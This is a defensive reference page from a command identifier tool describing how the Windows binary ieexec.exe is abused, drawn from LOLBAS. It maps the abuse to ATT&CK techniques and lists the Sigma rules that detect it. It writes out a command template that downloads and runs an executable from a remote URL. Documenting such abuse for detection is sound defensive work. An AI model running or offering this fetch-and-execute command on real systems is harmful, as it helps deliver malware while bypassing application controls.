Ceplin Command Identifier

Identifier / Programs / Windows

ieexec.exe

LOLBAS Download, Execute 3 Sigma rules name it 2 ATT&CK techniques 2 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How ieexec.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Execute T1218 System Binary Proxy Execution

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for ieexec.exe.

2 documented commands

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads and executes executable from the remote server.

ieexec.exe {REMOTEURL:.exe}
Identify

Trips 1 Sigma rule: highFile Download And Execution Via IEExec.EXE by Nasreddine Bencherchali (Nextron Systems)

Execute T1218 System Binary Proxy Execution User privileges

Downloads and executes executable from the remote server.

ieexec.exe {REMOTEURL:.exe}
Identify

Trips 1 Sigma rule: highFile Download And Execution Via IEExec.EXE by Nasreddine Bencherchali (Nextron Systems)

All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for ieexec.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for ieexec.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highFile Download And Execution Via IEExec.EXENasreddine Bencherchali (Nextron Systems)
highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)
highSuspicious Microsoft Office Child ProcessFlorian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io
T1105Ingress Tool Transfer
T1218System Binary Proxy Execution